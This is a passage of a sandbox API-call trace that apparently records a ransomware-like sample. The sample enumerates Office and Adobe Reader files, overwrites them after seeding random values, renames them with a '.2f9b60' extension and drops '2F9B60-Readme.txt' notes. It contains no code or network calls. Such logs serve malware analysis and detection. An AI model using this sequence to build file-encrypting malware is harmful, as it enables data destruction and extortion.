nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x34b5f670, lpOverlapped=0x0 | out: lpBuffer=0x42655d20*, lpNumberOfBytesRead=0x34b5f670*=0x482, lpOverlapped=0x0) returned 1 [0231.711] SetFilePointerEx (in: hFile=0x1d00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.711] WriteFile (in: hFile=0x1d00, lpBuffer=0x42659930*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x34b5f674, lpOverlapped=0x0 | out: lpBuffer=0x42659930*, lpNumberOfBytesWritten=0x34b5f674*=0x482, lpOverlapped=0x0) returned 1 [0234.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eec0 [0234.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e530 [0234.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e530) returned 1 [0234.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42659930) returned 1 [0234.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42655d20) returned 1 [0234.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba8e0) returned 1 [0234.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420587e0) returned 1 [0234.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e530 [0234.231] SetFilePointerEx (in: hFile=0x1d00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.231] WriteFile (in: hFile=0x1d00, lpBuffer=0x431e0720*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34b5f790, lpOverlapped=0x0 | out: lpBuffer=0x431e0720*, lpNumberOfBytesWritten=0x34b5f790*=0x10a, lpOverlapped=0x0) returned 1 [0236.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058fb0 [0236.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0236.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0236.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0236.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0236.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0236.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9a0 [0236.295] sprintf (in: _Dest=0x431ac9a0, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9a2, _Format="%c%c" | out: _Dest="17") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9a4, _Format="%c%c" | out: _Dest="73") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9a6, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9a8, _Format="%c%c" | out: _Dest="30") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9aa, _Format="%c%c" | out: _Dest="57") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9ac, _Format="%c%c" | out: _Dest="56") returned 2 [0236.295] sprintf (in: _Dest=0x431ac9ae, _Format="%c%c" | out: _Dest="51") returned 2 [0236.296] sprintf (in: _Dest=0x431ac9b0, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9b2, _Format="%c%c" | out: _Dest="95") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9b4, _Format="%c%c" | out: _Dest="af") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9b6, _Format="%c%c" | out: _Dest="d7") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9b8, _Format="%c%c" | out: _Dest="57") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9ba, _Format="%c%c" | out: _Dest="54") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9bc, _Format="%c%c" | out: _Dest="08") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9be, _Format="%c%c" | out: _Dest="93") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9c0, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9c2, _Format="%c%c" | out: _Dest="72") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9c4, _Format="%c%c" | out: _Dest="7e") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9c6, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9c8, _Format="%c%c" | out: _Dest="37") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9ca, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9cc, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.297] sprintf (in: _Dest=0x431ac9ce, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.297] RtlInitAnsiString (in: DestinationString=0x34b5f808, SourceString="e71773e4305756514d95afd757540893d5727ee337a5f7ef" | out: DestinationString="e71773e4305756514d95afd757540893d5727ee337a5f7ef") [0236.297] RtlAnsiStringToUnicodeString (in: DestinationString=0x34b5f7d8, SourceString="e71773e4305756514d95afd757540893d5727ee337a5f7ef", AllocateDestinationString=1 | out: DestinationString="e71773e4305756514d95afd757540893d5727ee337a5f7ef") returned 0x0 [0236.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310e790 [0236.298] wcscat (in: _Dest=0x20505a50, _Source="e71773e43057" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057" [0236.298] wcscat (in: _Dest=0x20505a50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057.2f9b60" [0236.298] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057.2f9b60", NtPathName=0x34b5f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e71773e43057.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e2f60 Thread: id = 3895 os_tid = 0xd90 [0229.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac6e0 [0229.953] wcscpy (in: _Dest=0x202ac6e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" [0229.953] wcscat (in: _Dest=0x202ac6e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\" [0229.953] wcscat (in: _Dest=0x202ac6e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*" [0229.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61910 [0229.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6520 [0230.911] wcscmp (_String1=".", _String2=".") returned 0 [0230.911] FindNextFileW (in: hFindFile=0x1ced6520, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.911] wcscmp (_String1="..", _String2=".") returned 1 [0230.911] wcscmp (_String1="..", _String2="..") returned 0 [0230.911] FindNextFileW (in: hFindFile=0x1ced6520, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1 [0230.911] wcscmp (_String1="Management.cer", _String2=".") returned 1 [0230.912] wcscmp (_String1="Management.cer", _String2="..") returned 1 [0230.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310baa0 [0230.912] wcscpy (in: _Dest=0x4310baa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" [0230.912] wcscat (in: _Dest=0x4310baa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\" [0230.912] wcscat (in: _Dest=0x4310baa0, _Source="Management.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" [0230.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer")) returned 0x20 [0230.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer", dwFileAttributes=0x20) returned 1 [0231.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x584 [0231.444] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x2ff5fa60 | out: lpFileSize=0x2ff5fa60*=944) returned 1 [0231.444] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x3ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.444] ReadFile (in: hFile=0x584, lpBuffer=0x2ff5f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ff5fa28, lpOverlapped=0x0 | out: lpBuffer=0x2ff5f9e0*, lpNumberOfBytesRead=0x2ff5fa28*=0x4, lpOverlapped=0x0) returned 1 [0231.661] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0231.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0231.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0231.662] NtQuerySystemTime (in: CurrentTime=0x2ff5f920 | out: CurrentTime=0x2ff5f920*=132462178356610000) returned 0x0 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x1124ba83 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x5af19fa1 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6773601a [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x653fa18d [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x5e3e9af5 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6fd4cd09 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6186a3cb [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x70af0831 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x54016110 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6c8d07b5 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6afb81e5 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x13b16c42 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x281c4e28 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x627dc622 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x6cac6c92 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x7df70cf6 [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x62efd7db [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x66a4afdd [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0xf54006f [0231.662] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x415d2550 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x5e1574fa [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x22b8e9c9 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x58a69f04 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x982d075 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x3eb5eff4 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x25e66181 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x5e43b56a [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x1d4ff0f8 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x3b3c882d [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x1cabe452 [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x1d86631d [0231.663] RtlRandomEx (in: Seed=0x2ff5f910 | out: Seed=0x2ff5f910) returned 0x719bca03 [0231.670] ReadFile (in: hFile=0x584, lpBuffer=0x4267b5c0, nNumberOfBytesToRead=0x3b0, lpNumberOfBytesRead=0x2ff5f910, lpOverlapped=0x0 | out: lpBuffer=0x4267b5c0*, lpNumberOfBytesRead=0x2ff5f910*=0x3b0, lpOverlapped=0x0) returned 1 [0231.670] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.670] WriteFile (in: hFile=0x584, lpBuffer=0x4267f1d0*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2ff5f914, lpOverlapped=0x0 | out: lpBuffer=0x4267f1d0*, lpNumberOfBytesWritten=0x2ff5f914*=0x3b0, lpOverlapped=0x0) returned 1 [0234.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6400 [0234.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4d20 [0234.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4d20) returned 1 [0234.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4267f1d0) returned 1 [0234.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4267b5c0) returned 1 [0234.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba760) returned 1 [0234.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058830) returned 1 [0234.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7e40 [0234.704] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.704] WriteFile (in: hFile=0x584, lpBuffer=0x431e0de0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2ff5fa30, lpOverlapped=0x0 | out: lpBuffer=0x431e0de0*, lpNumberOfBytesWritten=0x2ff5fa30*=0x10e, lpOverlapped=0x0) returned 1 [0236.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0236.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8607e0 [0236.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8607e0) returned 1 [0236.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b8607e0 [0236.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608a0 [0236.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860de0 [0236.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860de0) returned 1 [0236.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce62320 [0236.516] sprintf (in: _Dest=0x1ce62320, _Format="%c%c" | out: _Dest="35") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62322, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62324, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62326, _Format="%c%c" | out: _Dest="c0") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62328, _Format="%c%c" | out: _Dest="20") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6232a, _Format="%c%c" | out: _Dest="d7") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6232c, _Format="%c%c" | out: _Dest="43") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6232e, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62330, _Format="%c%c" | out: _Dest="de") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62332, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62334, _Format="%c%c" | out: _Dest="23") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62336, _Format="%c%c" | out: _Dest="86") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62338, _Format="%c%c" | out: _Dest="30") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6233a, _Format="%c%c" | out: _Dest="39") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6233c, _Format="%c%c" | out: _Dest="a3") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6233e, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62340, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62342, _Format="%c%c" | out: _Dest="54") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62344, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62346, _Format="%c%c" | out: _Dest="44") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62348, _Format="%c%c" | out: _Dest="29") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6234a, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6234c, _Format="%c%c" | out: _Dest="26") returned 2 [0236.516] sprintf (in: _Dest=0x1ce6234e, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62350, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62352, _Format="%c%c" | out: _Dest="63") returned 2 [0236.516] sprintf (in: _Dest=0x1ce62354, _Format="%c%c" | out: _Dest="44") returned 2 [0236.517] sprintf (in: _Dest=0x1ce62356, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.517] RtlInitAnsiString (in: DestinationString=0x2ff5faa8, SourceString="35bb5ec020d743eddee923863039a39b8c54c744294a268db96344bd" | out: DestinationString="35bb5ec020d743eddee923863039a39b8c54c744294a268db96344bd") [0236.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ff5fa78, SourceString="35bb5ec020d743eddee923863039a39b8c54c744294a268db96344bd", AllocateDestinationString=1 | out: DestinationString="35bb5ec020d743eddee923863039a39b8c54c744294a268db96344bd") returned 0x0 [0236.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e070 [0236.517] wcscat (in: _Dest=0x430d7b40, _Source="35bb5ec020d743" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743" [0236.517] wcscat (in: _Dest=0x430d7b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743.2f9b60" [0236.517] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743.2f9b60", NtPathName=0x2ff5fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\35bb5ec020d743.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78ec80 [0236.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ec80) returned 1 [0236.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad000) returned 1 [0236.934] NtQueryInformationFile (in: FileHandle=0x584, IoStatusBlock=0x2ff5fab8, FileInformation=0x2ff5fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ff5fab8, FileInformation=0x2ff5fac8) returned 0x0 [0236.934] NtSetInformationFile (FileHandle=0x584, IoStatusBlock=0x2ff5fab8, FileInformation=0x2ff5fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d7b40) returned 1 [0237.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0237.028] FlushFileBuffers (hFile=0x584) returned 1 [0238.196] CloseHandle (hObject=0x584) returned 1 [0241.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0900 [0241.254] wcscpy (in: _Dest=0x1ced0900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\" [0241.254] wcscat (in: _Dest=0x1ced0900, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\2F9B60-Readme.txt" [0241.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\2f9b60-readme.txt")) returned 0xffffffff [0241.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x26dc [0244.026] WriteFile (hFile=0x26dc, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ff5f970, lpOverlapped=0x0) Thread: id = 3896 os_tid = 0x310 [0229.957] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif")) returned 0x20 [0230.874] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif", dwFileAttributes=0x20) returned 1 [0231.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0231.313] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x27ddf740 | out: lpFileSize=0x27ddf740*=83) returned 1 [0231.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 